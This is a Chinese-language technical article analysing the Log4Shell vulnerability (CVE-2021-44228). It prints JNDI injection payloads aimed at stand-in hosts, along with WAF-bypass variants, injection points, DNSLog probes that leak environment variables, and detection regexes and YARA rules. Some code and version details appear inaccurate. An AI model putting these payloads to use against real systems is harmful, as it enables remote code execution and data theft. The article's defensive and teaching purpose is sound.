Log4j 漏洞深度分析:CVE-2021-44228 原理与本质
作者:niaiheni
日期:2026-02-04
一、前言
2021年11月24日,Apache Log4j 2被披露存在严重的安全漏洞(CVE-2021-44228),这个被称为"Log4Shell"的漏洞席卷了整个网络安全圈。作为渗透测试工程师,我们必须从底层彻底理解这个漏洞,才能在实战中真正利用它、防御它。本文将从架构设计到攻击链条,完整剖析这个史诗级漏洞。
二、Log4j 核心架构
2.1 日志框架的基本定位
Log4j 2是Apache旗下的日志框架,用于在Java应用程序中输出日志信息。它不是"一个漏洞",而是一个被全球数百万应用广泛使用的工业级日志库。从银行系统到云计算平台,从政府机构到互联网公司,几乎所有Java应用都在使用它。
这就是为什么这个漏洞如此致命------攻击面太大了。
2.2 核心组件一览
┌─────────────────────────────────────────────────────────────┐
│ 应用层 (Application) │
├─────────────────────────────────────────────────────────────┤
│ Logger.info() / Logger.error() / Logger.debug() │
├─────────────────────────────────────────────────────────────┤
│ Log4j Core (org.apache.logging.log4j) │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────────────┐ │
│ │ Logger │ │ Layout │ │ Appender │ │
│ │ 记录器 │ │ 格式化器 │ │ 输出目标 │ │
│ └─────────────┘ └─────────────┘ └─────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────────┐ │
│ │ Message Pattern Parse │ │
│ │ 消息模式解析引擎 │ │
│ └─────────────────────────┘ │
│ │ │
├─────────────────────────────────────────────────────────────┤
│ Lookup System (lookup框架) │
│ ┌──────────────────────────────────────────────────────┐ │
│ │ ${jndi:ldap://attacker.com/exp} │ │
│ │ ${java:version} | ${sys:os.name} | ${env:USER} │ │
│ └──────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
三大核心组件:
| 组件 | 作用 | 示例 |
|---|---|---|
| Logger | 记录日志的API入口 | logger.info("user: {}", userInput) |
| Layout | 格式化日志输出格式 | PatternLayout、JSONLayout |
| Appender | 日志输出目的地 | ConsoleAppender、FileAppender、SocketAppender |
2.3 Lookups 框架的引入
Log4j 2引入了一个强大的特性:StrLookup 框架 。它允许在日志消息中使用插值表达式,类似 shell 变量替换的功能:
java
// 不使用lookup的普通日志
logger.info("User login: " + username);
// 使用lookup的动态日志
logger.info("User login: ${java:version}"); // 输出: User login: Java version 1.8.0_391
logger.info("User login: ${env:USER}"); // 输出: User login: root
logger.info("User login: ${sys:os.name}"); // 输出: User login: Linux
问题来了------Lookups 框架支持的协议远不止这些。
三、JNDI 协议:漏洞的根源
3.1 JNDI 是什么
JNDI(Java Naming and Directory Interface) 是Java提供的统一命名和目录服务API。它允许Java应用从各种命名/目录服务中获取资源,比如:
- LDAP:轻量级目录访问协议
- DNS:域名系统
- RMI:远程方法调用
- CORBA:通用对象请求代理架构
JNDI的核心思想是:通过一个名字查找一个对象。
3.2 JNDI lookup 代码示例
java
// 典型的JNDI lookup调用
String jndiUrl = "ldap://attacker.com:389/ldapEntry";
Context ctx = new InitialContext();
Object obj = ctx.lookup(jndiUrl);
// 当lookup执行时,Java会:
// 1. 连接到ldap://attacker.com:389
// 2. 获取ldapEntry指向的资源
// 3. 将远程对象下载到本地并实例化
这就是整个漏洞链的起点------Log4j允许通过日志消息触发JNDI lookup。
四、漏洞原理:CVE-2021-44228
4.1 漏洞本质
一句话总结: Log4j 2在处理日志消息时,会递归解析${jndi:xxx}格式的字符串,触发JNDI lookup操作,导致攻击者可控制LDAP/RMI协议的响应,最终在目标机器上执行任意代码。
4.2 消息解析流程(深度追踪)
让我们追踪logger.info("${jndi:ldap://evil.com/a}")的完整执行流程:
Step 1: 消息进入
┌──────────────────────────────────────────────────────────────┐
│ logger.info("${jndi:ldap://evil.com/a}") │
└──────────────────────────────────────────────────────────────┘
│
▼
Step 2: PatternParser 识别 ${ 符号,开始递归解析
┌──────────────────────────────────────────────────────────────┐
│ Text="", Lookups=[jndi:ldap://evil.com/a] │
└──────────────────────────────────────────────────────────────┘
│
▼
Step 3: 调用 Substitutor.substitute() 递归替换
┌──────────────────────────────────────────────────────────────┐
│ 发现前缀 "jndi",调用 JndiLookup.lookup() │
└──────────────────────────────────────────────────────────────┘
│
▼
Step 4: JNDI Lookup 执行(核心漏洞点)
┌──────────────────────────────────────────────────────────────┐
│ ctx.lookup("ldap://evil.com/a") │
│ │
│ Java客户端向evil.com发起LDAP连接 │
└──────────────────────────────────────────────────────────────┘
│
▼
Step 5: 攻击者控制LDAP响应
┌──────────────────────────────────────────────────────────────┐
│ LDAP Server 返回: │
│ javaCodebase = http://evil.com/remote.class │
│ javaClassName = maliciousClass │
│ javaFactory = getInstance │
└──────────────────────────────────────────────────────────────┘
│
▼
Step 6: 远程class加载与实例化
┌──────────────────────────────────────────────────────────────┐
│ 1. Java从http://evil.com/remote.class下载字节码 │
│ 2. 定义恶意类 maliciousClass │
│ 3. 调用 getInstance() 静态工厂方法 │
│ 4. 恶意代码在目标JVM中执行 │
└──────────────────────────────────────────────────────────────┘
4.3 核心代码追踪
位置: org/apache/logging/log4j/core/lookup/JndiLookup.java
java
public class JndiLookup extends AbstractLookup {
private static final String[] BLACKLIST = { "java.", "javax.", "javax.naming" };
@Override
public String lookup(final LogEvent event, final String key) {
if (lookupNotAllowed(event, key)) {
return null;
}
try {
// ⚠️ 漏洞点:直接执行JNDI lookup,没有任何白名单校验
Context ctx = new InitialContext();
String parsedKey = interpolate(key, event); // 递归解析内部${}
return ctx.lookup(parsedKey);
} catch (NamingException e) {
LOGGER.debug("JNDI lookup failed: {}", key);
return null;
}
}
}
4.4 递归解析的深层危害
Log4j支持嵌套插值,这使得攻击更加隐蔽:
java
// 基础攻击payload
${jndi:ldap://evil.com/payload}
// 嵌套攻击payload(可绕过一些基础过滤)
${${lower:j}ndi:ldap://evil.com/payload}
// 解析过程:
// 1. ${lower:j} → "j"
// 2. ${jndi:...} → 执行JNDI lookup
// 更复杂的嵌套
${${upper:${lower:j}}ndi:ldap://evil.com/payload}
五、攻击链完整分析
5.1 标准攻击流程图
┌──────────┐ 1.HTTP请求/表单输入 ┌──────────┐
│ 攻击者 │ ─────────────────────────▶ │ 目标应用 │
│ │ │ (Log4j 2)│
└──────────┘ └────┬─────┘
│
│ logger.info(userInput)
▼
┌─────────────────┐
│ 解析 ${jndi:..} │
│ 调用JNDI lookup │
└────────┬────────┘
│
│ ldap://attacker.com/obj
▼
┌─────────────────┐
│ 攻击者LDAP服务 │
│ (可控恶意服务器) │
└────────┬────────┘
│
┌───────────────────┴───────────────────┐
│ 步骤A:返回序列化对象(可触发反序列化)│
│ 步骤B:返回JNDI Reference对象 │
└───────────────────┬───────────────────┘
│
│ 本地处理Reference
▼
┌─────────────────┐
│ 从远程URL加载类 │
│ 任意代码执行 │
└─────────────────┘
5.2 JNDI Reference 攻击详解(最常用)
这是最经典的攻击方式,利用了Java的Reference对象机制:
攻击者LDAP响应(JSON格式):
json
{
"javaClassName": "javax.management.BadAttributeValueExpException",
"javaCodeBase": "http://attacker.com/",
"objectClass": "javaNamingReference",
"objectFactory": " Poc"
}
执行流程:
1. LDAP Server返回Reference对象
│
▼
2. 目标JVM调用 getObjectFactoryInstance()
│
▼
3. 从javaCodeBase (http://attacker.com/) 远程加载字节码
│
▼
4. 实例化恶意类,执行静态代码块或构造函数
│
▼
5. 反弹Shell / 写入Webshell / 下载Payload
5.3 绕过限制的Payload变体
2.12.0 - 2.12.1 和 2.3-2.3.1 版本绕过:
java
// 利用环境变量分隔符绕过字符过滤
${jndi:${env:ENV_VAR_NAME}ldap://...}
// ${env:ENV:-} 的特性被利用
绕过WAF的变形:
java
// URL编码
${jndi%3Aldap%3A//...}
// 换行分割
${jndi:
ldap://...}
// 大小写混淆
${jNdI:ldap://...}
// 协议嵌套
${${lower:}${lower:}${lower:}jndi:ldap://...}
六、影响范围与版本差异
6.1 受影响版本
| 版本范围 | 状态 | 说明 |
|---|---|---|
| 2.0-beta9 - 2.17.0 | ⚠️ 受影响 | 所有非2.17.1/2.12.4/2.3.2版本 |
| 2.17.1+ | ✅ 安全 | 彻底移除JNDI Lookup功能 |
| 2.12.4 | ✅ 安全 | 2.12系列的最终安全版本 |
| 2.3.2 | ✅ 安全 | 1.x用户的迁移安全版本 |
6.2 漏洞演进时间线
| 时间 | CVE编号 | 严重程度 | 描述 |
|---|---|---|---|
| 2021-12-10 | CVE-2021-44228 | 10.0 (CVSS3.1) | Log4Shell,JNDI lookup远程代码执行 |
| 2021-12-14 | CVE-2021-45046 | 9.0 (CVSS3.1) | 2.15.0绕过,JDNI lookup仍在某些场景可用 |
| 2021-12-18 | CVE-2021-45105 | 5.9 (CVSS3.1) | 拒绝服务攻击,递归解析导致的无限循环 |
| 2021-12-20 | CVE-2021-44832 | 6.6 (CVSS3.1) | JNDI lookup在配置文件中仍可触发 |
6.3 各版本修复对比
2.15.0的修复(被绕过):
java
// 仅阻止了部分协议的默认启用,但可以通过配置重新启用
// lookupNotAllowed() 检查了部分协议头
**2.17.0的修复(彻底):
java
// 从配置层面直接禁用了JNDI Lookup
log4j2.formatMsgNoLookups = true
// 同时默认禁止从远程加载类
七、实战利用场景
7.1 攻击入口点识别
任何存在用户可控输入+Log4j日志记录的场景都可能成为入口:
java
// 场景1:HTTP请求头
logger.info("User-Agent: {}", request.getHeader("User-Agent"));
// 攻击:User-Agent: ${jndi:ldap://...}
// 场景2:表单输入
logger.info("Username: {}", username);
// 攻击:Username: ${jndi:ldap://...}
// 场景3:JSON API请求体
logger.info("Request body: {}", request.getBody());
// 攻击:{"username": "${jndi:ldap://...}"}
// 场景4:数据库查询结果
logger.info("Query result: {}", resultSet.getString("data"));
// 攻击:在数据库中注入${jndi:ldap://...}
7.2 自动化探测工具
Nmap NSE脚本:
bash
nmap -p 8080 --script log4j-vuln -sV target.com
DNSLog探测:
${jndi:ldap://${env:USER}.dnslog.com/exp}
${jndi:dns://${env:COMPUTERNAME}.dnslog.com}
八、深度防御方案
8.1 升级版本(首选)
xml
<!-- Maven -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.17.2</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.17.2</version>
</dependency>
gradle
// Gradle
implementation 'org.apache.logging.log4j:log4j-core:2.17.2'
implementation 'org.apache.logging.log4j:log4j-api:2.17.2'
8.2 JVM参数缓解
bash
# 方式1:禁用Lookups
-Dlog4j2.formatMsgNoLookups=true
# 方式2:禁止远程类加载
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false
-Dcom.sun.jndi.cosnaming.object.trustURLCodebase=false
# 方式3:启用安全Manager
-Djava.security.manager
8.3 WAF规则配置
针对${jndi:协议头的过滤:
regex
# 匹配基础JNDI协议
\$\{jndi:(ldap|rmi|dns|corba)://
# 匹配变体
\$\{.*:.*jndi
\$\{.*\$\{.*jndi
# 响应头中的敏感信息泄露
log4j.*version
8.4 监控与检测
Yara规则:
yaml
rule Log4jExploit {
strings:
$jndi = "${jndi:ldap://" nocase
$jndi_rmi = "${jndi:rmi://" nocase
$dns_lookup = "${jndi:dns://" nocase
condition:
any of them
}
九、深入原理:为什么JNDI Lookup如此危险
9.1 Java反序列化机制的先天缺陷
JNDI lookup与Java反序列化结合时,会导致远程代码执行,这是Java安全模型的历史遗留问题:
java
// JDNI Reference对象的处理流程
Reference ref = new Reference("MaliciousClass", "http://evil.com/", "Factory");
// 当Referenceable对象被lookup时
// 1. 本地加载RemoteClassLoader
// 2. 从http://evil.com/下载.class文件
// 3. 调用静态工厂方法
// 4. 执行任意代码
为什么危险:
- 不需要目标机器上有任何已知的Gadget
- 利用的是JVM自身的类加载机制
- 白名单/黑名单过滤对JNDI Reference无效
9.2 信任边界被打破
正常应用:
用户输入 → 业务逻辑 → 日志记录 → ${sys:prop}替换 → 输出
↑
这里用户输入本不应该触发代码执行
Log4j漏洞:
用户输入 → 业务逻辑 → 日志记录 → JNDI lookup → 网络请求 → 远程类加载
↑ ↑
正常边界 边界被打破!
十、总结
核心要点
-
漏洞本质 :Log4j 2的Lookups框架允许在日志消息中嵌入
${jndi:protocol://...}表达式,解析时触发JNDI lookup,导致攻击者可控制LDAP/RMI响应实现RCE -
攻击链:用户输入 → Log4j解析 → JNDI lookup → LDAP/RMI请求 → 攻击者可控响应 → 远程类加载 → 代码执行
-
根本原因:Log4j 2的插值解析功能与Java的JNDI/RMI机制结合,形成了从"日志记录"到"代码执行"的完整攻击链
-
防御策略:升级到2.17.1+版本、配置JVM参数、部署WAF规则、实施网络隔离
附录:参考资源
- Apache Log4j Security Alerts: https://logging.apache.org/log4j/2.x/security.html
- CVE-2021-44228: https://nvd.nist.gov/vuln/detail/CVE-2021-44228
- Log4j官方文档: https://logging.apache.org/log4j/2.x/
⚠️ 声明:本文仅用于安全研究和防御目的,请勿用于非法攻击。